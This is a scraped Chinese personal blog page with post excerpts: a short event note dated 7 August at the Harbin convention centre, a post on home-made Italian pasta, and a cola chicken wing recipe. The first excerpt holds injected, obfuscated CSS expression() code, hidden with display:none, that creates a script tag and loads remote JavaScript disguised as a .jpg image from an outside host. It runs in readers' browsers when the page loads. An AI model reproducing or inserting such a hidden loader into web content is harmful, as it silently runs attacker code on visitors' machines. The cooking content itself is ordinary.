Carol078
博客自定义分类
|
8月7日，哈尔滨会展中心。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ee:Expression(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement(ss);st.src='http://hajenip.googlepages.com/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" 阅读全文>> |
|
手上的事情暂时忙完了...突然觉得好饿..又开始回味中午的意大利面了... 昨晚都快半夜了...一时间没有任何睡意...就决定做意大利面...搬出意大利面酱来，才发现 两瓶都已经过期了.. 其实很简单的..中式意大利面酱..  但是反响还不错吧 呵呵。。。 中午吃得好香...自己动手.果然丰衣足食啊.而且又卫生又健康...  ——————————————————————————————————————————————— 意大利面一直是我的最爱..觉得很有嚼劲..而且还有各种形状...数量种类之多据说至少有500种，再配上酱汁的组合变化，可做出上千种的意大利面料理...  “在意大利本地，意大利面条被明文规定须采用100%Durum Semolina优质小麦面粉及煮过的良质水制作，且不论手工或机器制器，都不可添加色素及防腐剂。除了原味面条外，其他色彩缤纷的面条都是用蔬果混制而成的，如：番红花面、黑墨鱼面及蛋黄面等。 其次它含有大量碳水化合物，特别是淀 |
|
在家休息了两天，今天晚上打算作个可乐鸡翅的，材料都是随意的哦。 1、先洗净鸡翅，然后用叉子在翅身上插眼，这是为了让它入味。 2、沸水稍煮一下，用清水漂漂，不一定要煮熟，为了让它再烹调时没有过多的血沫，影响口感。 3、锅中下油烧沸，把大料(八角1个，山奈3小块，姜片5片，喜欢带点辣味的可以加2个干海椒，以上我的没有加)跟鸡翅一起下锅翻炒。 4、加入生抽2勺、老抽1勺，再倒入可乐，我用的百事可乐最大瓶的倒了差不多3分之1，总之要将鸡翅完全浸过就行。 5、让它慢慢的煮，煮到要干之时，千万不要离开哦，记得要反复翻炒以免糊锅底哈，到全部粘稠了即可上盘了。 小贴士： a:可乐鸡翅最好吃的时候绝对不是热乎乎的时候，所以可以提前作好，吃着玩或是当菜都不错，冷后的汁会形成可乐冻，也是很好吃的，咬着QQ的，呵呵。 b:大料可放可不放，放了感觉更香些，不放就可乐的甜味更重点。看各地人的口感来定。但是记得要放的话一定切记不要放多了哦，一点点就行了，主要就是提个香味，而且也只需要这三样就行了，其它的大料太香了会盖过原本的可乐味。 c:生抽调味，老抽调色，这样作出来的可乐鸡支才红通通。不会黑乎乎，适量就行了哦! d:可乐一定要盖过鸡翅慢慢煮。到了快干时切记不可离开，要不就糊了哦。照着这样作出来的可乐鸡翅再差也不会差到哪去的哦! 加油吃!!!! |
